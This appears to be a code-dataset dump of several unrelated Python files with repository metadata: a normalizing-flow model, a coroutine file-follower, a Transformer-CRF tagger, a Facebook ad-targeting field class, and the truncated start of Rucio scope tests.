size:', y_dec.size()) r = torch.abs(y-y_dec) print('sum(|y-y_dec|)',torch.sum(r)) print('mean(|y-y_dec|):',torch.mean(r)) """
38.179104
125
0.60516
import torch.nn as nn import torch from caflow.models.modules.blocks.FlowBlock import FlowBlock from caflow.models.modules.blocks.Dequantisation import Dequantisation, VariationalDequantization class UnconditionalFlow(nn.Module): def __init__(self, channels, dim, resolution, scales, scale_depth, quants, vardeq_depth, coupling_type, nn_settings): super(UnconditionalFlow, self).__init__() self.channels = channels self.dim = dim self.resolution = resolution self.scales = scales self.scale_blocks = nn.ModuleList() if vardeq_depth is None: self.scale_blocks.append(Dequantisation(dim=dim, quants=quants)) else: self.scale_blocks.append(VariationalDequantization(channels=channels, depth=vardeq_depth, dim=dim, \ resolution=self.calculate_resolution(dim, 0),\ quants=quants, coupling_type=coupling_type, nn_settings=nn_settings)) for scale in range(self.scales): scale_channels = self.calculate_scale_channels(dim, scale) resolution = self.calculate_resolution(dim, scale) self.scale_blocks.append(FlowBlock(channels = scale_channels, dim = dim, resolution=resolution, depth = scale_depth, coupling_type=coupling_type, nn_settings=nn_settings)) self.prior = torch.distributions.normal.Normal(loc=0.0, scale=1.0) def calculate_resolution(self, dim, scale): if isinstance(self.resolution, int): resolution = tuple([self.resolution//2**scale for _ in range(self.dim)]) else: resolution = tuple([x//2**scale for x in self.resolution]) return resolution def calculate_scale_channels(self, dim, scale): if scale==0: return 2 ** (dim * scale) * self.channels else: return 2 ** ((dim-1) * scale) * self.channels def forward(self, y=None, z=[], logprior=0., logdet=0., reverse=False): if reverse: y_dec, logdet = self.decode(z, logdet=logdet) return y_dec, logdet else: z_enc, logprior, logdet = self.encode(y, logprior=logprior, logdet=logdet) return z_enc, logprior, logdet def encode(self, y, logprior, logdet): h_pass = y z_enc = [] h_pass, logdet = self.scale_blocks[0](h_pass, logdet, False) for i in range(1, self.scales+1): if i==self.scales: h_split, logdet = self.scale_blocks[i](h_pass, logdet, False) else: h, logdet = self.scale_blocks[i](h_pass, logdet, False) h_split, h_pass = h.chunk(2, dim=1) logprior+=self.prior.log_prob(h_split).sum(dim = [i+1 for i in range(self.dim+1)]) z_enc.append(h_split) return z_enc, logprior, logdet def decode(self, z:list, logdet): h_pass=None for i in range(self.scales): h_split = z[self.scales-1-i] if h_pass==None: concat_pass = h_split else: concat_pass = torch.cat([h_split, h_pass], dim=1) h_pass, logdet = self.scale_blocks[self.scales-i](concat_pass, logdet, True) h_pass, logdet = self.scale_blocks[0](h_pass, logdet, True) return h_pass, logdet
true
true
f71f1590d805d8b9c18634bc1e020d1aa22e3c29
2,037
py
Python
python/coroutines/cofollow.py
ASMlover/study
5878f862573061f94c5776a351e30270dfd9966a
[ "BSD-2-Clause" ]
22
2015-05-18T07:04:36.000Z
2021-08-02T03:01:43.000Z
python/coroutines/cofollow.py
ASMlover/study
5878f862573061f94c5776a351e30270dfd9966a
[ "BSD-2-Clause" ]
1
2017-08-31T22:13:57.000Z
2017-09-05T15:00:25.000Z
python/coroutines/cofollow.py
ASMlover/study
5878f862573061f94c5776a351e30270dfd9966a
[ "BSD-2-Clause" ]
6
2015-06-06T07:16:12.000Z
2021-07-06T13:45:56.000Z
#!/usr/bin/env python # -*- coding: UTF-8 -*- # # Copyright (c) 2020 ASMlover. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code must retain the above copyright # notice, this list ofconditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materialsprovided with the # distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. import sys import time import typing import coroutine from typing import Any, Generator, TextIO def follow(fp:TextIO, target:Generator[None, str, None], from_end:bool=False) \ -> None: from_end and fp.seek(0, 2) while True: line = fp.readline() if not line: time.sleep(0.1) continue target.send(line) @coroutine.corouine def printer() -> Generator[None, str, None]: while True: line = (yield) print(line,) if __name__ == '__main__': fname = sys.argv[1] if len(sys.argv) > 1 else 'cofollow.py' with open(fname) as fp: follow(fp, printer())
35.12069
79
0.719686
import sys import time import typing import coroutine from typing import Any, Generator, TextIO def follow(fp:TextIO, target:Generator[None, str, None], from_end:bool=False) \ -> None: from_end and fp.seek(0, 2) while True: line = fp.readline() if not line: time.sleep(0.1) continue target.send(line) @coroutine.corouine def printer() -> Generator[None, str, None]: while True: line = (yield) print(line,) if __name__ == '__main__': fname = sys.argv[1] if len(sys.argv) > 1 else 'cofollow.py' with open(fname) as fp: follow(fp, printer())
true
true
f71f1602d9340fa6aa90aeee7b17c3e2f020ff60
3,630
py
Python
LaserTagger/Models/TransformerCRF_V2.py
tech-srl/c3po
ce1e002bf9d026c10fbd2c178d454ebb76cb7a94
[ "MIT" ]
18
2020-11-13T02:43:58.000Z
2022-01-04T08:11:05.000Z
LaserTagger/Models/TransformerCRF_V2.py
shaileshj2803/c3po
a673a0514ee8c800efa12574ef8da3fcb8ef73b7
[ "MIT" ]
2
2021-03-11T01:19:55.000Z
2021-05-21T15:01:42.000Z
LaserTagger/Models/TransformerCRF_V2.py
shaileshj2803/c3po
a673a0514ee8c800efa12574ef8da3fcb8ef73b7
[ "MIT" ]
6
2021-02-25T06:07:06.000Z
2021-05-21T23:44:45.000Z
from torch import nn from Models.CRF import CRF from Models.Transformer import Transformer from Models.TransformerCtx import TransformerCtx from Models.SequenceEncoder import SequenceEncoder from Models.Attention import Attention import torch from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence class Transformer_CRF(nn.Module): def __init__(self, vocab_size, ctx_vocab_size, nb_labels, emb_dim, hidden_dim, bos_idx, eos_idx, pad_idx, num_lstm_layers, dropout, device): super().__init__() self.transformer = Transformer( vocab_size, in_dim=emb_dim, nb_labels=nb_labels, dropout=dropout ) self.crf = CRF( nb_labels, device, bos_idx, eos_idx, pad_tag_id=pad_idx, batch_first=True, ) self.ctx_encoder = TransformerCtx(ctx_vocab_size, device=device, in_dim=emb_dim) self.ctx_combiner = Attention(emb_dim) self.query = nn.Parameter(torch.Tensor(1, emb_dim)) torch.nn.init.xavier_uniform_(self.query.data) self.emb_dim = emb_dim self.ctx_linear = nn.Linear(2 * emb_dim, emb_dim) def combine_ctx(self, x, before_ctx, after_ctx): # (batch, h_dim) before_ctx_encoded = self.before_ctx_encoder(before_ctx) after_ctx_encoded = self.after_ctx_encoder(after_ctx) # (batch, 2 * h_dim) ctx_cat = torch.cat((before_ctx_encoded, after_ctx_encoded), dim=1) # (batch, h_dim) encoded_ctx = torch.tanh(self.ctx_linear(ctx_cat)) seq_len = x.shape[1] # (batch, seq_len, h_dim) encoded_ctx_repeated = encoded_ctx.unsqueeze(dim=0).repeat(seq_len, 1, 1) return encoded_ctx_repeated def forward_ctx(self, x, before_ctx, after_ctx): batch_size = x.shape[0] # (batch_size, 1, emb_dim) query = self.query.expand(batch_size, self.emb_dim).unsqueeze(dim=1) packed_query = pack_padded_sequence(query, batch_size * [1], batch_first=True, enforce_sorted=False) # Packed sequence (before_ctx_length, batch_size, emb_dim) encoded_before_ctx = self.ctx_encoder(before_ctx) # (batch_size, 1, emb_dim) encoded_before_ctx, _ = self.ctx_combiner(packed_query, encoded_before_ctx) # Packed sequence (after_ctx_length, batch_size, emb_dim) encoded_after_ctx = self.ctx_encoder(after_ctx) # (batch_size, 1 ,emb_dim) encoded_after_ctx, _ = self.ctx_combiner(packed_query, encoded_after_ctx) # (batch_size ,emb_dim) combined_ctx = self.ctx_linear(torch.cat([encoded_before_ctx, encoded_after_ctx], dim=2).squeeze()) # (1, batch_size ,emb_dim) combined_ctx = combined_ctx.unsqueeze(dim=0) seq_len = x.shape[1] # (seq_len, batch_size, emb_dim) combined_ctx = combined_ctx.repeat(seq_len, 1, 1) return combined_ctx def forward(self, x, before_ctx, after_ctx, mask=None): # (seq_len, batch_size, emb_dim) combined_ctx = self.forward_ctx(x, before_ctx, after_ctx) # (batch_size, src_length, num_labels) emissions = self.transformer(x, combined_ctx, mask) score, path = self.crf.decode(emissions, mask=mask) return score, path def loss(self, x, before_ctx, after_ctx, y, mask=None): # (seq_len, batch_size, emb_dim) combined_ctx = self.forward_ctx(x, before_ctx, after_ctx) # (batch_size, src_length, num_labels) emissions = self.transformer(x, combined_ctx, mask) nll = self.crf(emissions, y, mask=mask) return nll
42.705882
144
0.674656
from torch import nn from Models.CRF import CRF from Models.Transformer import Transformer from Models.TransformerCtx import TransformerCtx from Models.SequenceEncoder import SequenceEncoder from Models.Attention import Attention import torch from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence class Transformer_CRF(nn.Module): def __init__(self, vocab_size, ctx_vocab_size, nb_labels, emb_dim, hidden_dim, bos_idx, eos_idx, pad_idx, num_lstm_layers, dropout, device): super().__init__() self.transformer = Transformer( vocab_size, in_dim=emb_dim, nb_labels=nb_labels, dropout=dropout ) self.crf = CRF( nb_labels, device, bos_idx, eos_idx, pad_tag_id=pad_idx, batch_first=True, ) self.ctx_encoder = TransformerCtx(ctx_vocab_size, device=device, in_dim=emb_dim) self.ctx_combiner = Attention(emb_dim) self.query = nn.Parameter(torch.Tensor(1, emb_dim)) torch.nn.init.xavier_uniform_(self.query.data) self.emb_dim = emb_dim self.ctx_linear = nn.Linear(2 * emb_dim, emb_dim) def combine_ctx(self, x, before_ctx, after_ctx): before_ctx_encoded = self.before_ctx_encoder(before_ctx) after_ctx_encoded = self.after_ctx_encoder(after_ctx) ctx_cat = torch.cat((before_ctx_encoded, after_ctx_encoded), dim=1) encoded_ctx = torch.tanh(self.ctx_linear(ctx_cat)) seq_len = x.shape[1] encoded_ctx_repeated = encoded_ctx.unsqueeze(dim=0).repeat(seq_len, 1, 1) return encoded_ctx_repeated def forward_ctx(self, x, before_ctx, after_ctx): batch_size = x.shape[0] query = self.query.expand(batch_size, self.emb_dim).unsqueeze(dim=1) packed_query = pack_padded_sequence(query, batch_size * [1], batch_first=True, enforce_sorted=False) encoded_before_ctx = self.ctx_encoder(before_ctx) encoded_before_ctx, _ = self.ctx_combiner(packed_query, encoded_before_ctx) encoded_after_ctx = self.ctx_encoder(after_ctx) encoded_after_ctx, _ = self.ctx_combiner(packed_query, encoded_after_ctx) combined_ctx = self.ctx_linear(torch.cat([encoded_before_ctx, encoded_after_ctx], dim=2).squeeze()) combined_ctx = combined_ctx.unsqueeze(dim=0) seq_len = x.shape[1] combined_ctx = combined_ctx.repeat(seq_len, 1, 1) return combined_ctx def forward(self, x, before_ctx, after_ctx, mask=None): combined_ctx = self.forward_ctx(x, before_ctx, after_ctx) emissions = self.transformer(x, combined_ctx, mask) score, path = self.crf.decode(emissions, mask=mask) return score, path def loss(self, x, before_ctx, after_ctx, y, mask=None): combined_ctx = self.forward_ctx(x, before_ctx, after_ctx) emissions = self.transformer(x, combined_ctx, mask) nll = self.crf(emissions, y, mask=mask) return nll
true
true
f71f16308749cbb3a9e24291b63fd1302e0d5211
39
py
Python
run.py
jovanzac/Captain
3e410aa22eec4f72274b9bf4f0f2b3c91936356d
[ "MIT" ]
null
null
null
run.py
jovanzac/Captain
3e410aa22eec4f72274b9bf4f0f2b3c91936356d
[ "MIT" ]
null
null
null
run.py
jovanzac/Captain
3e410aa22eec4f72274b9bf4f0f2b3c91936356d
[ "MIT" ]
1
2020-12-25T08:21:37.000Z
2020-12-25T08:21:37.000Z
"""The entry point.""" import Scripts
9.75
22
0.666667
import Scripts
true
true
f71f183d4028a3c36013d6614421819a0cd6f672
11,436
py
Python
facebook_business/adobjects/adaccounttargetingunified.py
s-nez/facebook-python-business-sdk
4766644c7585d2e262463862f8aae26d5bea2615
[ "CNRI-Python" ]
null
null
null
facebook_business/adobjects/adaccounttargetingunified.py
s-nez/facebook-python-business-sdk
4766644c7585d2e262463862f8aae26d5bea2615
[ "CNRI-Python" ]
null
null
null
facebook_business/adobjects/adaccounttargetingunified.py
s-nez/facebook-python-business-sdk
4766644c7585d2e262463862f8aae26d5bea2615
[ "CNRI-Python" ]
null
null
null
# Copyright 2014 Facebook, Inc. # You are hereby granted a non-exclusive, worldwide, royalty-free license to # use, copy, modify, and distribute this software in source code or binary # form for use in connection with the web services and APIs provided by # Facebook. # As with any software that integrates with the Facebook platform, your use # of this software is subject to the Facebook Developer Principles and # Policies [http://developers.facebook.com/policy/]. This copyright notice # shall be included in all copies or substantial portions of the software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. from facebook_business.adobjects.abstractobject import AbstractObject from facebook_business.adobjects.abstractcrudobject import AbstractCrudObject from facebook_business.adobjects.objectparser import ObjectParser from facebook_business.api import FacebookRequest from facebook_business.typechecker import TypeChecker """ This class is auto-generated. For any issues or feature requests related to this class, please let us know on github and we'll fix in our codegen framework. We'll not be able to accept pull request for this class. """ class AdAccountTargetingUnified( AbstractCrudObject, ): def __init__(self, fbid=None, parent_id=None, api=None): self._isAdAccountTargetingUnified = True super(AdAccountTargetingUnified, self).__init__(fbid, parent_id, api) class Field(AbstractObject.Field): audience_size = 'audience_size' conversion_lift = 'conversion_lift' description = 'description' id = 'id' img = 'img' info = 'info' info_title = 'info_title' is_recommendation = 'is_recommendation' key = 'key' link = 'link' name = 'name' parent = 'parent' partner = 'partner' path = 'path' performance_rating = 'performance_rating' raw_name = 'raw_name' recommendation_model = 'recommendation_model' search_interest_id = 'search_interest_id' source = 'source' spend = 'spend' type = 'type' valid = 'valid' class LimitType: behaviors = 'behaviors' college_years = 'college_years' education_majors = 'education_majors' education_schools = 'education_schools' education_statuses = 'education_statuses' ethnic_affinity = 'ethnic_affinity' family_statuses = 'family_statuses' generation = 'generation' home_ownership = 'home_ownership' home_type = 'home_type' home_value = 'home_value' household_composition = 'household_composition' income = 'income' industries = 'industries' interested_in = 'interested_in' interests = 'interests' life_events = 'life_events' location_categories = 'location_categories' moms = 'moms' net_worth = 'net_worth' office_type = 'office_type' politics = 'politics' relationship_statuses = 'relationship_statuses' user_adclusters = 'user_adclusters' work_employers = 'work_employers' work_positions = 'work_positions' class RegulatedCategories: credit = 'CREDIT' employment = 'EMPLOYMENT' housing = 'HOUSING' issues_elections_politics = 'ISSUES_ELECTIONS_POLITICS' none = 'NONE' class WhitelistedTypes: adgroup_id = 'adgroup_id' age_max = 'age_max' age_min = 'age_min' alternate_auto_targeting_option = 'alternate_auto_targeting_option' app_install_state = 'app_install_state' audience_network_positions = 'audience_network_positions' behaviors = 'behaviors' brand_safety_content_filter_levels = 'brand_safety_content_filter_levels' brand_safety_content_severity_levels = 'brand_safety_content_severity_levels' catalog_based_targeting = 'catalog_based_targeting' cities = 'cities' college_years = 'college_years' conjunctive_user_adclusters = 'conjunctive_user_adclusters' connections = 'connections' contextual_targeting_categories = 'contextual_targeting_categories' countries = 'countries' country = 'country' country_groups = 'country_groups' custom_audiences = 'custom_audiences' device_platforms = 'device_platforms' direct_install_devices = 'direct_install_devices' dynamic_audience_ids = 'dynamic_audience_ids' education_majors = 'education_majors' education_schools = 'education_schools' education_statuses = 'education_statuses' effective_audience_network_positions = 'effective_audience_network_positions' effective_device_platforms = 'effective_device_platforms' effective_facebook_positions = 'effective_facebook_positions' effective_instagram_positions = 'effective_instagram_positions' effective_messenger_positions = 'effective_messenger_positions' effective_publisher_platforms = 'effective_publisher_platforms' effective_whatsapp_positions = 'effective_whatsapp_positions' engagement_specs = 'engagement_specs' ethnic_affinity = 'ethnic_affinity' exclude_previous_days = 'exclude_previous_days' exclude_reached_since = 'exclude_reached_since' excluded_brand_safety_content_types = 'excluded_brand_safety_content_types' excluded_connections = 'excluded_connections' excluded_custom_audiences = 'excluded_custom_audiences' excluded_dynamic_audience_ids = 'excluded_dynamic_audience_ids' excluded_engagement_specs = 'excluded_engagement_specs' excluded_geo_locations = 'excluded_geo_locations' excluded_mobile_device_model = 'excluded_mobile_device_model' excluded_product_audience_specs = 'excluded_product_audience_specs' excluded_publisher_categories = 'excluded_publisher_categories' excluded_publisher_list_ids = 'excluded_publisher_list_ids' excluded_user_adclusters = 'excluded_user_adclusters' excluded_user_device = 'excluded_user_device' exclusions = 'exclusions' facebook_positions = 'facebook_positions' family_statuses = 'family_statuses' fb_deal_id = 'fb_deal_id' flexible_spec = 'flexible_spec' follow_profiles = 'follow_profiles' follow_profiles_negative = 'follow_profiles_negative' format = 'format' friends_of_connections = 'friends_of_connections' gatekeepers = 'gatekeepers' genders = 'genders' generation = 'generation' geo_locations = 'geo_locations' home_ownership = 'home_ownership' home_type = 'home_type' home_value = 'home_value' household_composition = 'household_composition' id = 'id' income = 'income' industries = 'industries' instagram_positions = 'instagram_positions' instream_video_sponsorship_placements = 'instream_video_sponsorship_placements' interest_defaults_source = 'interest_defaults_source' interested_in = 'interested_in' interests = 'interests' is_instagram_destination_ad = 'is_instagram_destination_ad' is_whatsapp_destination_ad = 'is_whatsapp_destination_ad' keywords = 'keywords' life_events = 'life_events' locales = 'locales' location_categories = 'location_categories' location_cluster_ids = 'location_cluster_ids' location_expansion = 'location_expansion' marketplace_product_categories = 'marketplace_product_categories' messenger_positions = 'messenger_positions' mobile_device_model = 'mobile_device_model' moms = 'moms' net_worth = 'net_worth' office_type = 'office_type' page_types = 'page_types' place_page_set_ids = 'place_page_set_ids' political_views = 'political_views' politics = 'politics' product_audience_specs = 'product_audience_specs' prospecting_audience = 'prospecting_audience' publisher_platforms = 'publisher_platforms' radius = 'radius' regions = 'regions' relationship_statuses = 'relationship_statuses' rtb_flag = 'rtb_flag' site_category = 'site_category' targeting_optimization = 'targeting_optimization' timezones = 'timezones' topic = 'topic' trending = 'trending' user_adclusters = 'user_adclusters' user_device = 'user_device' user_event = 'user_event' user_os = 'user_os' user_page_threads = 'user_page_threads' user_page_threads_excluded = 'user_page_threads_excluded' whatsapp_positions = 'whatsapp_positions' wireless_carrier = 'wireless_carrier' work_employers = 'work_employers' work_positions = 'work_positions' zips = 'zips' class Mode: best_performing = 'best_performing' recently_used = 'recently_used' related = 'related' suggestions = 'suggestions' class Objective: app_installs = 'APP_INSTALLS' brand_awareness = 'BRAND_AWARENESS' conversions = 'CONVERSIONS' event_responses = 'EVENT_RESPONSES' lead_generation = 'LEAD_GENERATION' link_clicks = 'LINK_CLICKS' local_awareness = 'LOCAL_AWARENESS' messages = 'MESSAGES' offer_claims = 'OFFER_CLAIMS' page_likes = 'PAGE_LIKES' post_engagement = 'POST_ENGAGEMENT' product_catalog_sales = 'PRODUCT_CATALOG_SALES' reach = 'REACH' video_views = 'VIDEO_VIEWS' _field_types = { 'audience_size': 'unsigned int', 'conversion_lift': 'float', 'description': 'string', 'id': 'string', 'img': 'string', 'info': 'string', 'info_title': 'string', 'is_recommendation': 'bool', 'key': 'string', 'link': 'string', 'name': 'string', 'parent': 'string', 'partner': 'string', 'path': 'list<string>', 'performance_rating': 'unsigned int', 'raw_name': 'string', 'recommendation_model': 'string', 'search_interest_id': 'string', 'source': 'string', 'spend': 'float', 'type': 'string', 'valid': 'bool', } @classmethod def _get_field_enum_info(cls): field_enum_info = {} field_enum_info['LimitType'] = AdAccountTargetingUnified.LimitType.__dict__.values() field_enum_info['RegulatedCategories'] = AdAccountTargetingUnified.RegulatedCategories.__dict__.values() field_enum_info['WhitelistedTypes'] = AdAccountTargetingUnified.WhitelistedTypes.__dict__.values() field_enum_info['Mode'] = AdAccountTargetingUnified.Mode.__dict__.values() field_enum_info['Objective'] = AdAccountTargetingUnified.Objective.__dict__.values() return field_enum_info
41.585455
112
0.690976
from facebook_business.adobjects.abstractobject import AbstractObject from facebook_business.adobjects.abstractcrudobject import AbstractCrudObject from facebook_business.adobjects.objectparser import ObjectParser from facebook_business.api import FacebookRequest from facebook_business.typechecker import TypeChecker class AdAccountTargetingUnified( AbstractCrudObject, ): def __init__(self, fbid=None, parent_id=None, api=None): self._isAdAccountTargetingUnified = True super(AdAccountTargetingUnified, self).__init__(fbid, parent_id, api) class Field(AbstractObject.Field): audience_size = 'audience_size' conversion_lift = 'conversion_lift' description = 'description' id = 'id' img = 'img' info = 'info' info_title = 'info_title' is_recommendation = 'is_recommendation' key = 'key' link = 'link' name = 'name' parent = 'parent' partner = 'partner' path = 'path' performance_rating = 'performance_rating' raw_name = 'raw_name' recommendation_model = 'recommendation_model' search_interest_id = 'search_interest_id' source = 'source' spend = 'spend' type = 'type' valid = 'valid' class LimitType: behaviors = 'behaviors' college_years = 'college_years' education_majors = 'education_majors' education_schools = 'education_schools' education_statuses = 'education_statuses' ethnic_affinity = 'ethnic_affinity' family_statuses = 'family_statuses' generation = 'generation' home_ownership = 'home_ownership' home_type = 'home_type' home_value = 'home_value' household_composition = 'household_composition' income = 'income' industries = 'industries' interested_in = 'interested_in' interests = 'interests' life_events = 'life_events' location_categories = 'location_categories' moms = 'moms' net_worth = 'net_worth' office_type = 'office_type' politics = 'politics' relationship_statuses = 'relationship_statuses' user_adclusters = 'user_adclusters' work_employers = 'work_employers' work_positions = 'work_positions' class RegulatedCategories: credit = 'CREDIT' employment = 'EMPLOYMENT' housing = 'HOUSING' issues_elections_politics = 'ISSUES_ELECTIONS_POLITICS' none = 'NONE' class WhitelistedTypes: adgroup_id = 'adgroup_id' age_max = 'age_max' age_min = 'age_min' alternate_auto_targeting_option = 'alternate_auto_targeting_option' app_install_state = 'app_install_state' audience_network_positions = 'audience_network_positions' behaviors = 'behaviors' brand_safety_content_filter_levels = 'brand_safety_content_filter_levels' brand_safety_content_severity_levels = 'brand_safety_content_severity_levels' catalog_based_targeting = 'catalog_based_targeting' cities = 'cities' college_years = 'college_years' conjunctive_user_adclusters = 'conjunctive_user_adclusters' connections = 'connections' contextual_targeting_categories = 'contextual_targeting_categories' countries = 'countries' country = 'country' country_groups = 'country_groups' custom_audiences = 'custom_audiences' device_platforms = 'device_platforms' direct_install_devices = 'direct_install_devices' dynamic_audience_ids = 'dynamic_audience_ids' education_majors = 'education_majors' education_schools = 'education_schools' education_statuses = 'education_statuses' effective_audience_network_positions = 'effective_audience_network_positions' effective_device_platforms = 'effective_device_platforms' effective_facebook_positions = 'effective_facebook_positions' effective_instagram_positions = 'effective_instagram_positions' effective_messenger_positions = 'effective_messenger_positions' effective_publisher_platforms = 'effective_publisher_platforms' effective_whatsapp_positions = 'effective_whatsapp_positions' engagement_specs = 'engagement_specs' ethnic_affinity = 'ethnic_affinity' exclude_previous_days = 'exclude_previous_days' exclude_reached_since = 'exclude_reached_since' excluded_brand_safety_content_types = 'excluded_brand_safety_content_types' excluded_connections = 'excluded_connections' excluded_custom_audiences = 'excluded_custom_audiences' excluded_dynamic_audience_ids = 'excluded_dynamic_audience_ids' excluded_engagement_specs = 'excluded_engagement_specs' excluded_geo_locations = 'excluded_geo_locations' excluded_mobile_device_model = 'excluded_mobile_device_model' excluded_product_audience_specs = 'excluded_product_audience_specs' excluded_publisher_categories = 'excluded_publisher_categories' excluded_publisher_list_ids = 'excluded_publisher_list_ids' excluded_user_adclusters = 'excluded_user_adclusters' excluded_user_device = 'excluded_user_device' exclusions = 'exclusions' facebook_positions = 'facebook_positions' family_statuses = 'family_statuses' fb_deal_id = 'fb_deal_id' flexible_spec = 'flexible_spec' follow_profiles = 'follow_profiles' follow_profiles_negative = 'follow_profiles_negative' format = 'format' friends_of_connections = 'friends_of_connections' gatekeepers = 'gatekeepers' genders = 'genders' generation = 'generation' geo_locations = 'geo_locations' home_ownership = 'home_ownership' home_type = 'home_type' home_value = 'home_value' household_composition = 'household_composition' id = 'id' income = 'income' industries = 'industries' instagram_positions = 'instagram_positions' instream_video_sponsorship_placements = 'instream_video_sponsorship_placements' interest_defaults_source = 'interest_defaults_source' interested_in = 'interested_in' interests = 'interests' is_instagram_destination_ad = 'is_instagram_destination_ad' is_whatsapp_destination_ad = 'is_whatsapp_destination_ad' keywords = 'keywords' life_events = 'life_events' locales = 'locales' location_categories = 'location_categories' location_cluster_ids = 'location_cluster_ids' location_expansion = 'location_expansion' marketplace_product_categories = 'marketplace_product_categories' messenger_positions = 'messenger_positions' mobile_device_model = 'mobile_device_model' moms = 'moms' net_worth = 'net_worth' office_type = 'office_type' page_types = 'page_types' place_page_set_ids = 'place_page_set_ids' political_views = 'political_views' politics = 'politics' product_audience_specs = 'product_audience_specs' prospecting_audience = 'prospecting_audience' publisher_platforms = 'publisher_platforms' radius = 'radius' regions = 'regions' relationship_statuses = 'relationship_statuses' rtb_flag = 'rtb_flag' site_category = 'site_category' targeting_optimization = 'targeting_optimization' timezones = 'timezones' topic = 'topic' trending = 'trending' user_adclusters = 'user_adclusters' user_device = 'user_device' user_event = 'user_event' user_os = 'user_os' user_page_threads = 'user_page_threads' user_page_threads_excluded = 'user_page_threads_excluded' whatsapp_positions = 'whatsapp_positions' wireless_carrier = 'wireless_carrier' work_employers = 'work_employers' work_positions = 'work_positions' zips = 'zips' class Mode: best_performing = 'best_performing' recently_used = 'recently_used' related = 'related' suggestions = 'suggestions' class Objective: app_installs = 'APP_INSTALLS' brand_awareness = 'BRAND_AWARENESS' conversions = 'CONVERSIONS' event_responses = 'EVENT_RESPONSES' lead_generation = 'LEAD_GENERATION' link_clicks = 'LINK_CLICKS' local_awareness = 'LOCAL_AWARENESS' messages = 'MESSAGES' offer_claims = 'OFFER_CLAIMS' page_likes = 'PAGE_LIKES' post_engagement = 'POST_ENGAGEMENT' product_catalog_sales = 'PRODUCT_CATALOG_SALES' reach = 'REACH' video_views = 'VIDEO_VIEWS' _field_types = { 'audience_size': 'unsigned int', 'conversion_lift': 'float', 'description': 'string', 'id': 'string', 'img': 'string', 'info': 'string', 'info_title': 'string', 'is_recommendation': 'bool', 'key': 'string', 'link': 'string', 'name': 'string', 'parent': 'string', 'partner': 'string', 'path': 'list<string>', 'performance_rating': 'unsigned int', 'raw_name': 'string', 'recommendation_model': 'string', 'search_interest_id': 'string', 'source': 'string', 'spend': 'float', 'type': 'string', 'valid': 'bool', } @classmethod def _get_field_enum_info(cls): field_enum_info = {} field_enum_info['LimitType'] = AdAccountTargetingUnified.LimitType.__dict__.values() field_enum_info['RegulatedCategories'] = AdAccountTargetingUnified.RegulatedCategories.__dict__.values() field_enum_info['WhitelistedTypes'] = AdAccountTargetingUnified.WhitelistedTypes.__dict__.values() field_enum_info['Mode'] = AdAccountTargetingUnified.Mode.__dict__.values() field_enum_info['Objective'] = AdAccountTargetingUnified.Objective.__dict__.values() return field_enum_info
true
true
f71f1873191d210df18e5af80874ac079e4f1b83
11,453
py
Python
lib/rucio/tests/test_scope.py
TeAmP0is0N/rucio
45c1b83f8e1514953a41fd076b4e651dd564c39f
[ "Apache-2.0" ]
null
null
null
lib/rucio/tests/test_scope.py
TeAmP0is0N/rucio
45c1b83f8e1514953a41fd076b4e651dd564c39f
[ "Apache-2.0" ]
null
null
null
lib/rucio/tests/test_scope.py
TeAmP0is0N/rucio
45c1b83f8e1514953a41fd076b4e651dd564c39f
[ "Apache-2.0" ]
null
null
null
# Copyright European Organization for Nuclear Research (CERN) # # Licensed under the Apache License, Version 2.0 (the "License"); # You may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Authors: # - Thomas Beermann, <thomas.beermann@cern.ch>, 2012 # - Angelos Molfetas, <angelos.molfetas@cern.ch>, 2012 # - Mario Lassnig, <mario.lassnig@cern.ch>, 2012 # - Vincent Garonne, <vincent.garonne@cern.ch>, 2012-2015 # - Cedric Serfon, <cedric.serfon@cern.ch>, 2017 # - Andrew Lister, <andrew.lister@stfc.ac.uk>, 2019 # - Patrick Austin <patrick.austin@stfc.ac.uk>, 2020 from json import dumps, loads from paste.fixture import TestApp from nose.tools import assert_equal, assert_true, assert_in, raises, assert_raises from rucio.client.accountclient import AccountClient from rucio.client.scopeclient import ScopeClient from rucio.common.config import config_get, config_get_bool from rucio.common.exception import AccountNotFound, Duplicate, ScopeNotFound, InvalidObject from rucio.common.types import InternalAccount, InternalScope from rucio.common.utils import generate_uuid as uuid from rucio.core.scope import get_scopes, add_scope, is_scope_owner from rucio.tests.common import account_name_generator, scope_name_generator from rucio.web.rest.account import APP as account_app from rucio.web.rest.authentication import APP as auth_app class TestScopeCoreApi(): def __init__(self): if config_get_bool('common', 'multi_vo', raise_exception=False, default=False): self.vo = {'vo': config_get('client', 